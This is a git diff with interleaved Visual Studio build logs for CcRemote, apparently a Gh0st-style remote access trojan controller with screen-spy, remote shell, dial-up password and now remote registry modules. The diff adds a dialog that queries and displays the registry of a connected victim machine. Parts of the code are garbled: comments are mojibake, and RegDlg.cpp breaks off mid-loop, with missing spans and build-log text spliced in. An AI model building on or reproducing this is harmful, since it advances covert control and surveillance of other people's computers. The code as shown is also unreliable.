-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
- CServerDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- FileTransferModeDlg.cpp
- CScreenSpyDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
- CSettingDlg.cpp
- CShellDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
- CSystemDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CpuUsage.cpp
- IniFile.cpp
-f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
- InputDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
- SEU_QQwry.cpp
- TrueColorToolBar.cpp
- 正在生成代码...
- Buffer.cpp
- IOCPServer.cpp
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
- 正在生成代码...
+ RegDlg.cpp
+f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
+f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(269): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
diff --git a/CcRemote/CcRemote/Debug/CcRemote.res b/CcRemote/CcRemote/Debug/CcRemote.res
index a6f5000..029e794 100644
Binary files a/CcRemote/CcRemote/Debug/CcRemote.res and b/CcRemote/CcRemote/Debug/CcRemote.res differ
diff --git a/CcRemote/CcRemote/PublicStruct.h b/CcRemote/CcRemote/PublicStruct.h
index 242198c..12694e3 100644
--- a/CcRemote/CcRemote/PublicStruct.h
+++ b/CcRemote/CcRemote/PublicStruct.h
@@ -44,6 +44,7 @@ enum
WM_OPENPSLISTDIALOG, // ̹
WM_OPENSHELLDIALOG, // shell
WM_OPENSERVERDIALOG, //
+ WM_OPENREGEDITDIALOG, // ע
WM_RESETPORT, // ı˿
//////////////////////////////////////////////////////////////////////////
FILEMANAGER_DLG = 1, // ļ
@@ -53,7 +54,8 @@ enum
KEYBOARD_DLG, // δʵ
SYSTEM_DLG, //
SHELL_DLG, // shell
- SERVER_DLG //
+ SERVER_DLG, //
+ REGEDIT_DLG // ע
};
diff --git a/CcRemote/CcRemote/RegDlg.cpp b/CcRemote/CcRemote/RegDlg.cpp
new file mode 100644
index 0000000..66dac33
--- /dev/null
+++ b/CcRemote/CcRemote/RegDlg.cpp
@@ -0,0 +1,308 @@
+// RegDlg.cpp : ʵļ
+//
+
+#include "pch.h"
+#include "CcRemote.h"
+#include "RegDlg.h"
+#include "afxdialogex.h"
+#include "..\..\common\macros.h"
+
+
+// CRegDlg Ի
+
+IMPLEMENT_DYNAMIC(CRegDlg, CDialog)
+
+ enum MYKEY{
+ MHKEY_CLASSES_ROOT,
+ MHKEY_CURRENT_USER,
+ MHKEY_LOCAL_MACHINE,
+ MHKEY_USERS,
+ MHKEY_CURRENT_CONFIG
+};
+
+enum KEYVALUE{
+ MREG_SZ,
+ MREG_DWORD,
+ MREG_BINARY,
+ MREG_EXPAND_SZ
+};
+struct REGMSG{
+ int count; //ָ
+ DWORD size; //ִС
+ DWORD valsize; //ֵС
+
+};
+CRegDlg::CRegDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
+ : CDialog(IDD_DIALOG_REGEDIT, pParent)
+{
+ m_iocpServer = pIOCPServer;
+ m_pContext = pContext;
+}
+
+CRegDlg::~CRegDlg()
+{
+}
+
+void CRegDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialog::DoDataExchange(pDX);
+ DDX_Control(pDX, IDC_TREE, m_tree);
+ DDX_Control(pDX, IDC_LIST, m_list);
+}
+
+
+BEGIN_MESSAGE_MAP(CRegDlg, CDialog)
+ ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegDlg::OnTvnSelchangedTree)
+END_MESSAGE_MAP()
+
+
+// CRegDlg Ϣ
+
+
+BOOL CRegDlg::OnInitDialog()
+{
+ CDialog::OnInitDialog();
+
+ // TODO: ڴӶijʼ
+
+ HICON hIcon = NULL;
+ m_ImageList_tree.Create(18, 18, ILC_COLOR16,10, 0);
+
+ //hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_FATHER_ICON), IMAGE_ICON, 18, 18, 0);
+ //m_ImageList_tree.Add(hIcon);
+ //hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_DIR_ICON), IMAGE_ICON, 32, 32, 0);
+ //m_ImageList_tree.Add(hIcon);
+
+
+
+ m_tree.SetImageList ( &m_ImageList_tree,TVSIL_NORMAL );
+
+ DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
+
+ dwStyle |=TVS_HASBUTTONS | TVS_HASLINES;// | TVS_LINESATROOT;ﲻһʽȻicoͼʾ
+
+ SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
+ m_hRoot = m_tree.InsertItem("ע",0,0,0,0);
+ HKCU=m_tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0);
+ HKLM=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
+ HKUS=m_tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
+ HKCC=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
+ HKCR=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
+
+ m_tree.Expand(m_hRoot,TVE_EXPAND);
+
+ m_list.InsertColumn(0,"",LVCFMT_LEFT,150,-1);
+ m_list.InsertColumn(1,"",LVCFMT_LEFT,60,-1);
+ m_list.InsertColumn(2,"",LVCFMT_LEFT,300,-1);
+ m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT);
+ //////ͼ//////
+ //m_HeadIcon.Create(16,16,TRUE,2,2);
+ //m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_STR_ICON));
+ //m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_DWORD_ICON));
+ //m_list.SetImageList(&m_HeadIcon,LVSIL_SMALL);
+ return TRUE; // return TRUE unless you set the focus to a control
+ // 쳣: OCX ҳӦ FALSE
+}
+
+
+void CRegDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
+{
+ LPNMTREEVIEW pNMTreeView = reinterpret_cast(pNMHDR);
+ // TODO: ڴӿؼ֪ͨ
+ if(!isEnable) return;
+ isEnable=false;;
+ TVITEM item = pNMTreeView->itemNew;
+
+ if(item.hItem == m_hRoot)
+ {
+ isEnable=true;;
+ return;
+ }
+ SelectNode=item.hItem; //ûڵ
+ m_list.DeleteAllItems();
+
+ CString FullPath=GetFullPath(SelectNode);
+ HTREEITEM CurrentNode = item.hItem; //ȡô˽ڵȫ·
+
+ while(m_tree.GetChildItem(CurrentNode)!=NULL)
+ {
+ m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode)); //ɾ OnSelchangingTree¼ ***
+ }
+
+ char bToken=getFatherPath(FullPath);
+ //һ
+ int nitem=m_list.InsertItem(0,"(Data)",0);
+ m_list.SetItemText(nitem,1,"REG_SZ");
+ m_list.SetItemText(nitem,2,"(NULL)");
+ //BeginWaitCursor();
+ //char *buf=new char[FullPath.GetLength]
+ FullPath.Insert(0,bToken);// Ǹ
+ bToken=COMMAND_REG_FIND;
+ FullPath.Insert(0,bToken); //ѯ
+
+ m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
+ isEnable=true;;
+ *pResult = 0;
+}
+
+
+CString CRegDlg::GetFullPath(HTREEITEM hCurrent)
+{
+ CString strTemp;
+ CString strReturn = "";
+ while(1){
+ if(hCurrent==m_hRoot) return strReturn;
+ strTemp = m_tree.GetItemText(hCurrent); //õǰ
+ if(strTemp.Right(1) != "\\")
+ strTemp += "\\";
+ strReturn = strTemp + strReturn;
+ hCurrent = m_tree.GetParentItem(hCurrent); //õ
+
+ }
+ return strReturn;
+}
+
+
+char CRegDlg::getFatherPath(CString& FullPath)
+{
+ char bToken;
+ if(!FullPath.Find("HKEY_CLASSES_ROOT")) //ж
+ {
+ //MKEY=HKEY_CLASSES_ROOT;
+ bToken=MHKEY_CLASSES_ROOT;
+ FullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
+ }else if(!FullPath.Find("HKEY_CURRENT_USER"))
+ {
+ bToken=MHKEY_CURRENT_USER;
+ FullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
+
+ }else if(!FullPath.Find("HKEY_LOCAL_MACHINE"))
+ {
+ bToken=MHKEY_LOCAL_MACHINE;
+ FullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
+
+ }else if(!FullPath.Find("HKEY_USERS"))
+ {
+ bToken=MHKEY_USERS;
+ FullPath.Delete(0,sizeof("HKEY_USERS"));
+
+ }else if(!FullPath.Find("HKEY_CURRENT_CONFIG"))
+ {
+ bToken=MHKEY_CURRENT_CONFIG;
+ FullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
+
+ }
+ return bToken;
+}
+
+
+void CRegDlg::OnReceiveComplete(void)
+{
+ switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
+ {
+ case TOKEN_REG_PATH: //
+ AddPath((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
+ break;
+ case TOKEN_REG_KEY: //ռ ֵ
+ AddKey((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
+ break;
+ default:
+ break;
+ }
+}
+
+
+void CRegDlg::AddKey(char* lpBuffer)
+{
+ m_list.DeleteAllItems();
+ int nitem=m_list.InsertItem(0,"(Data)",0);
+ m_list.SetItemText(nitem,1,"REG_SZ");
+ m_list.SetItemText(nitem,2,"(NULL)");
+
+ if(lpBuffer==NULL) return;
+ REGMSG msg;
+ memcpy((void*)&msg,lpBuffer,sizeof(msg));
+ char* tmp=lpBuffer+sizeof(msg);
+
+ int bin_temp;
+ for(int i=0;i 0x1000)
+ {
+ index_max = 0x990;//incomplete
+ }
+ for (i = 0; i < index_max; i++)
+ {
+ bin_temp = szValueDate[i];
+ sprintf(ValueDate +(i*3), "%02x ", bin_temp);
+ }
+ CString value = ValueDate;
+ if (index_max == 0x990)
+ {
+ value+=" incomplete";
+ }
+
+ int nitem=m_list.InsertItem(0,szValueName,1);
+ m_list.SetItemText(nitem,1,"REG_BINARY");
+ m_list.SetItemText(nitem,2, value);
+ }
+ if(Type==MREG_EXPAND_SZ)
+ {
+ int nitem=m_list.InsertItem(0,szValueName,0);
+ m_list.SetItemText(nitem,1,"REG_EXPAND_SZ");
+ m_list.SetItemText(nitem,2,(char*)szValueDate);
+ }
+ }
+}
+
+
+void CRegDlg::AddPath(char* lpBuffer)
+{
+ if(lpBuffer==NULL) return;
+ int msgsize=sizeof(REGMSG);
+ REGMSG msg;
+ memcpy((void*)&msg,lpBuffer,msgsize);
+ DWORD size =msg.size;
+ int count=msg.count;
+
+ if(size>0&&count>0){ //һ㱣ʩ
+ for(int i=0;i=”: 有符号/无符号不匹配
- CAudioDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CcRemote.cpp
- CcRemoteDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CFileManagerDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
- CServerDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- FileTransferModeDlg.cpp
- CScreenSpyDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
-f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
- CSettingDlg.cpp
- CShellDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
- CSystemDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CpuUsage.cpp
- IniFile.cpp
-f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
- InputDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
- SEU_QQwry.cpp
- TrueColorToolBar.cpp
+ RegDlg.cpp
+f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(259): warning C4244: “初始化”: 从“DWORD”转换到“char”,可能丢失数据
+f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(261): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
+f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(263): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
正在生成代码
- All 717 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
+ 1 of 739 functions ( 0.1%) were compiled, the rest were copied from previous compilation.
+ 0 functions were new in current compilation
+ 1 functions had inline decision re-evaluated but remain unchanged
已完成代码的生成
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义
diff --git a/CcRemote/CcRemote/Release/CcRemote.res b/CcRemote/CcRemote/Release/CcRemote.res
index 27457d9..15983ac 100644
Binary files a/CcRemote/CcRemote/Release/CcRemote.res and b/CcRemote/CcRemote/Release/CcRemote.res differ
diff --git a/CcRemote/CcRemote/resource.h b/CcRemote/CcRemote/resource.h
index 6437a8f..3c1ab4d 100644
Binary files a/CcRemote/CcRemote/resource.h and b/CcRemote/CcRemote/resource.h differ
diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe
index 0eb334f..2d2fbda 100644
Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ
diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll
index 4f2af57..783e89b 100644
Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ
diff --git a/common/macros.h b/common/macros.h
index 2c68301..7c47c84 100644
--- a/common/macros.h
+++ b/common/macros.h
@@ -84,6 +84,8 @@ enum
COMMAND_SERVICES_AUTO, // ʽ - Զ
COMMAND_SERVICES_MANUAL, // ʽ - ֶ
+ COMMAND_REGEDIT, //ע
+ COMMAND_REG_FIND, //ע ʶ
// ˷ıʶ
TOKEN_AUTH = 100, // Ҫ֤
@@ -121,7 +123,10 @@ enum
TOKEN_WSLIST, // б
TOKEN_DIALUPASS, //
TOKEN_SHELL_START, // Զն˿ʼ
- TOKEN_SERVERLIST // б
+ TOKEN_SERVERLIST, // б
+ TOKEN_REGEDIT, // עʼ
+ TOKEN_REG_PATH, // ע
+ TOKEN_REG_KEY // ע
};